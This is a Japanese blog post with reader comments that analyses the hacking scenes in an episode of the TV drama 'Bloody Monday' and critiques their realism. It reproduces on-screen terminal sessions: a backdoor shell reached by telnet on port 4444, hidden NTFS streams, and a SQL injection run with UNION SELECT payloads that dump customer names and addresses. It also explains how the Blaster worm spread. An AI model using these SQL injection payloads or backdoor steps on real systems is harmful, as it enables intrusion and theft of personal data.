今回のep06では見どころシーンが色々ありましたよ^^ 最近たくさんのコメントや質問を頂きます。セキュリティに興味のある方は記事の中のヒントを活かしてたくさん検索して知識を身に付けてほしいと思います。僕やセキュリティキャンプ参加者の殆どは独学です。自分でネットで検索して知識を貯めてきました。
それと僕のmixi日記の「あしあと帳」 でも質問を受け付けていますのでCNETのアカウントがない方はmixiからでも^^。
では考察行きます!!これからご覧になる方はネタバレ注意です。
藤丸はまず建物の頭脳になるべく,施設のセキュリティシステムに侵入します。
最初に無線LANに接続します。このとき
Selectec interface 'wlan0'
Interactive mode
> set_network 0 identity "gaius_vlan"
OK
> set_network 0 password "Gai2uo6a"
OK
> reconnect
OK
何故か都合よく無線LANのアクセスポイントのパスワードなどを知っています。きっと画面はありませんが,WEPを解析したんでしょうね^^
そのあとに,ポートスキャンを掛けます。
空いているポートは
22:Open. SSH-1.5-CUSTOM.1
445:Open. Sabma 3.0.29
4444:Open. Backdoor?
でした。
4444番ポートは既にテロリスト側がバックドアを開け,接続中だと思います。藤丸もその空いてるポートを見つけます。
ここで,都合よく持っているカメラのハイジャックスクリプト。
多分自IPアドレス(172.16.25.25)をカメラの制御サーバーに登録してカメラだと見せかけているのでしょう。(Perlスクリプトが出ないのでいまいちわかりません。)
ブラッディ・マンデイでPerlスクリプトが登場するのは今回が初めてですね^^
> falcon# camera_hijack.pl register 172.16.25.25
Setting up camera as 172.16.25.25
Setup request from control server (172.16.0.2)
Setup request(dup!) from control server (172.16.25.20).
falcon# telnet 172.16.0.2 4444
Trying 172.16.0.2...
Connected to 172.16.0.2.
Escape character is '^]'.
sh-2.03#
すでにテロリストたちが開けてくれたバックドアでファルコンは手を汚す事なく侵入できました。
侵入できると何故か施設全部のPCがファルコン仕様になります^^ これは演出なので・・・というしかないですね。
netstat -an | grep 4444
で,4444番ポートに接続中のコンピュータの一覧を表示できます。 これでテロリスト側のIPアドレスが取得できています。
今度はファルコンがテロリスト側にクラックを仕掛けます。 テロリスト側は必死に「tcpkill」コマンドでTCPセッションを切断しようとしますが,なかなか接続を解除できないようです><
接続中のセッションは「Scan from 210.174.204.115」のリストで表示されています。必死に「tcpkill」で戦っているときに天才が現れます。
そう,電源を抜いた女です。彼女は天才だと思いますよ(笑)
藤丸側には 「Connection Timeout」や「no response.」で応答がない事が表示されています。
J「この短時間にファルコンはドコから侵入してきたのぉ?」
に対し,テロリストクラッカーは
「セキュリティの甘いネットワークプリンタから……」と云います。
ネットワークプリンタからは侵入できない気がします(笑)
プリンタサーバーになら良くリモートからrootを奪える脆弱性があるのですが,プリンタ自体からは……ネットワークプリンタには組み込みの高機能なファームウェアが入ってたりする場合もあるのでそれを経由して攻撃するとかですね。しかし今回の場合は無線LANで侵入し,netstatで取得したテロリスト側IPアドレスをターゲットにして攻撃している為,プリンタからの攻撃でないのは明らかです。つまり,テロリスト側クラッカーが間違った事を(Jをなんとか納得させる為に適当に?)云ってます。
Jも「へぇ〜,そんなことができるんだぁ?っふ」と見透かしたように言い放ちます。
そして次のシーンで映し出されるネットワークプリンタ・・・。だからこれが原因じゃないんですって。
テロリスト側がもう一度セキュリティシステムに入ろうとしますが,藤丸のファイアウォールの所為で侵入できないようです。
telnet 210.174.204.115 4444
Trying 210.174.204.115...
telnet: Unable to connect to remote host: Network is unreachable
nmap 210.174.204.115
Note: Host seems down. If it is really up, but blocking our ping probes, try -PN
Nmap done: 1 IP address (0 hosts up) scanned in 0.032 seconds
普通はこんなにはやくnmapコマンドが完了する事はありません。
Ctl+Cでkillすると「caught SIGINT signal, cleaning up」なんて出てしまいます。
これはこの演出をしたい為にPCのネットワークインターフェイスにブロードキャストを設定しているのだと思います。
「ifconfig eth0:0 210.174.204.113/30」などとしてブロードキャストアドレスに210.174.204.115をセットすると再現できます。ブロードキャストアドレスに設定されているのでnmapもすぐに終了し,なにも応答しないという同じ結果が得られます。
ブロードキャストでないと「unreachable」とは表示されません。
perl xpl/30288.pl 210.174.204.115
Setting up fake server...ok
connecting 210.174.204.115...FAILED. Network is unreachable
です。fake serverなので偽装しようとしてるみたいですけど,結局ブロードキャストアドレスのままなのでドコにも接続できませんよね。まぁ「接続できない!」という演出です^^
また,最初4444番ポートをみて,「MS-Blast」を思い出しました。
BlasterウィルスはWindowsの135番ポートで動いているRPCに対してバッファオーバーフローさせる攻撃を仕掛けます。このときRPCは管理者権限で動いているので任意のコードやプログラムが実行可能になります。そしてBlasterはTCP4444番ポートで次のコマンドの待機をさせます。続いてBlasterウイルスは4444番ポートを使って,ウイルス本体である「msblast.exe」をTFTP(簡易なFTP)で受け取るように,攻撃対象のWindowsマシンにコマンドを送ります。最後に,4444番ポート経由でmsblast.exeを起動して感染する手順でした。でも今回のバックドアはきっと違うものです。たまたま4444番が重なっただけっという感じでしょう^^
mntfs /dev/hda1 /mnt
でマウントします。
いや,普通に「mntfs」ってコマンドはなく,多分mount_ntfsとかのエイリアスなんだと思います。
usb$cd /mnt
/mntに移動しました。
usb$find -name BX*
でBXから始まるファイル名を検索します。なんですぐにBXから始まると分かったか謎ですね。
./Documents and Settings/Shikimura/Data/BX_0330.txt
^C
結果が1件表示された時点で^Cでプロセスを終了しています。
usb$
usb$ cd Documents\ and\ Settings/Shikimura/Data
usb$ ls -la
usb$ less BX_0330.txt
BX_0330.txtを読みますが工作されていますね。
実はこのBX_0330.txtはNTFSの機能である複数のストリームを所有できます。一つのファイルに複数のファイルを個別化して保持させる事ができます。
エクスプローラなどでは一つのファイルに見えますが実は別なファイルを埋め込んでおく事も可能なのです。
今回の場合BX_0330.txtには少なくとも3ストリーム以上存在します。
主ストリームであるBX_0330.txt(無名ストリーム),副次ストリームであるBX_0330.txt:comments.txt,同じく副次ストリームのBX_0330.txt:code.zipです。
ストリームはファイル名の次に「:(コロン)」を付けてストリーム名を続けると呼び出せます。
藤丸はこの隠されたファイルをよく見つけたものです(笑)
getfattr -n ntfs.streams.list -R . | grep -B1 list=〜(以降読めず)
で連結されたストリームを取得しています
ちなみにBX_0330.txt:comments.txtにはsnowdropコマンドでプレインテキストが透かし処理されていて普通には読めません。(普通はsnowdropなのですが,ここでもエイリアスが張ってあるのか,snowコマンドになっています。)
lessで読めなかった「BX_0330.txt:comments.txt」もsnowコマンドで読めました。
usb$ snow BX_0330.txt:comments.txt
d_code@Shikimura
これは多分BX_0330.txt:code.zipの解凍パスワードです。
次に藤丸が
usb$ unzip BX_0330.txt:code.zip -d /tmp
でcode.txtを解凍しています。
敷村教授が何故ここまでデータ隠蔽の技術を持っているのかが謎です。
最近とても多い攻撃にSQLインジェクションがあります。
藤丸もSQLインジェクションでメーカのデータベースの中身を呼び出して製造番号から所有者を調べています。
今回の場合はXSS脆弱性のチェックはスキップしていますね。
Code/webscan http://support.h-paso.com/ --skip-xss
Scanning search engines...Found 213 known endpoints.
Crawling *.h-paso.com
Skipping XSS scan.
Scanning for SQL...
found NUMERIC type injection in http://support-db.h-paso.com/redirect.do?l=3 === /redirect.do?l=4-1
Location: https://internal.h-paso.com/login.do
Use as target? y
>>> s.out_pat=re.compile(r'Location (.+)r')
>>> s.analyze()
Analyzing 1 ' parameter..Injection needs 3 columns. 2nd is in output,CHAR() wrapper needed,
login
sales
customer\^CInterrupted.
>>> s.tblinfo('customer')
Enumerating columns:
`address`, `serial`, `name` , `user_id` \
>>> s.dump_table(table='customer',cols=['name','serial','address'],limit=10)
l=1 and 1=0/**/union/**/select 1,name+char(255)+serial+char(255)+address,3 from customer limit %d,1
Limit reached.
>>> s.dump_table( table='customer' ,cols=['name','serial','address'], where="serial='S/N 046946A'")
l=1 and 1=0/**/union/**/select 1,name+char(255)+serial+char(255)+address,3 from customer where serial=char(83,47,78,32,48,52,54,57,52,54,65)
Querying ...
で無事に(?)製造番号から所有者が割り出せました。
上のコマンドは殆どがSQL構文です。WebアプリケーションがPOSTされた値をそのままSQL文に代入してしまう事によって発生するSQLインジェクションです。一度SQLインジェクションが可能だと分かれば,データベースは攻撃者に掌握されたも同然となります。
今回の考察は結構時間がかかりました。またAbelProject副代表のlizanにも記事執筆を協力してもらいました^^ 感謝します。
今回初のPerlスクリプトでましたね。僕はPerl好きなのでうれしいです。笑
それと,別に努力無くしてこういう記事が書けているわけでもありませんし,いままで苦労がなかった訳でもないです。むしろ色々ツライ過去があったりします。(誰でもありますよね)
この記事を読まれてセキュリティに興味を持たれたみなさんも ,努力して技術と知識を集めてください^^ 俺やlizanも楽しみながらも努力する日々です。セキュリティキャンプの参加は人生を変えるきっかけになります。22歳以下の方は是非参加を検討してみてください。キャンプキャラバンということで講師陣が各地方を廻ってキャンプがどんな活動か講義を交えて紹介しています。それではvv
※このエントリは CNET Japan ブロガーにより投稿されたものです。朝日インタラクティブ および CNET Japan 編集部の見解・意向を示すものではありません。
isidai on 2008/12/14
fire_s_akuma on 2008/12/02
hasewox0 on 2008/11/28
また的確な考察で驚いております。リアル・ファルコンですね。
PCのメーカーのデータベースに簡単にアクセスしていて、驚きました。
実際に可能かは…なのですが(汗
久々にハッキングのシーンが出てきてよかったです。
ずっとPCはメールだけとかだったのでww
いつも勉強になります。用語一つでも知識が広がります。
grid_x5 on 2008/11/24
こんばんは。今回も考察詳しいところまでしていますね。
前回は回答ありがとうございました。自宅で使っているスイッチングハブで試してみましたが、うまくいきませんでした。
まぁ、別にできなくても問題ないのでいいのですが。
それと、友人からDVDをかりてやっと第一話を見れました。
見て思ったのは、藤丸が先生の目の前でクラックをする馬鹿野郎だってことがわかったのと、第一話が一番クラックシーンが面白いということでしょうか。
長文失礼しました。
msygre on 2008/11/22
いつも楽しく見ています。
>侵入できると何故か施設全部のPCがファルコン仕様になります^^ これは演出なので・・・というしかないですね。
シンクライアントシステムならその可能性はあるのではないでしょうか。
s02184ho on 2008/11/21
僕の情報がおくれていてすいませんが
藤丸がクラックやハッキングなどをするときGNOME端末(コマンド入力しているやつです。)っていうんですかね?
それともうひとつバックが青色っぽいソフトウェア起動してると思うんですけどあれはなんていうやつなんですか?
fire_s_akuma on 2008/11/19
今年、父にLinuxの本を買ってもらい パソコンに興味を持ち、セキュリティキャンプがあるというのを見つけ参加したいと思ったのですが、参加するにあたって、isidaiさんが何か読んでおいた方が良いと思う本は ありますか?(初心者にはオススメの本など)
まだ右も左も分からない初心者なので、パソコンのコーナーに行ってもドレも同じに見えてしまって
kaiou on 2008/11/17
FALCON on 2008/11/17
見たり読んだりしていないのですが、Blasterが元になっているようですね。
「テロリストの半月刀」(ラリー・ボンド)に予言されていたような感染経路で、プリンター(Windows NT Embedded)にも感染した(そこからの感染等は無かったという)そうですから。
//
ルート134 on 2008/11/17
短時間でSQLインジェクションの脆弱性を発見されるなんて、メーカーはどんな人にシステムを作らせたのですかね。
まぁドラマなのでしかたがないですが、いろいろ都合よすぎですよね。
前回の話題のブートUSBですが、ubuntuのライブCDで簡単に作ることができました。
空のCDを持っていなかったのでvirtualboxでisoをマウントしてubuntuを起動させて作りましたが問題なく動作しています^^
puppylinuxもこの方法でブートUSBを作成できました。
CDを無駄にしたくない人にはこの方法がいいかもしれませんね。
ただマウントしてデータを取りたいだけならpuppylinuxの方が軽くていいかもしれないです。
a_daiki on 2008/11/17
ブログにコメントするにはCNET_IDにログインしてください。
この記事に対するTrackBackのURL:
メンバー限定サービスをご利用いただく場合、このページの上部からログイン、またはCNET_ID登録(無料)をしてください。
→a_daikiさん
同じ「daiki」ですね(笑)本名daikiなので…。
最近はUSBブートできるOS多くなってきてますよね。NetBookが登場してCD-ROMドライブなどを搭載しない機種が多いからですね^^
→ルート134さん
実際にプリンタから侵入していました^^; 僕の考察は間違いだったです Σ(´Д`lll)
→FALCONさん
仮想マシン上では,その仮想マシンの構成設定によります。ホストOSのHDD自体を仮想マシンからマウントする事は出来ないと思います。
→kaiouさん
本ですか……汗汗 あまり本を読まないので><アドバイスできないです(涙)「初心者」がどこまでのレベルかも想像しづらいです^^;
→fire_s_akumaさん
青いバック……?どれの事かわからないです,ゴメンナサイ><
→s02184hoさん
確かに可能性を否定する事はできませんが,なぜ全台の電源を入れていたのか理由が見えなかったからです^^;
→msygreさん
第一話は相当力が入っていましたよね(笑)僕の記事もそれに比例して……なんて汗
最終回にも期待ですねvv
→grid_x5さん
もうすぐ最終回!ブラッディ・マンデイが終わってしまうと考察記事も終わってしまうので寂しいですね〜><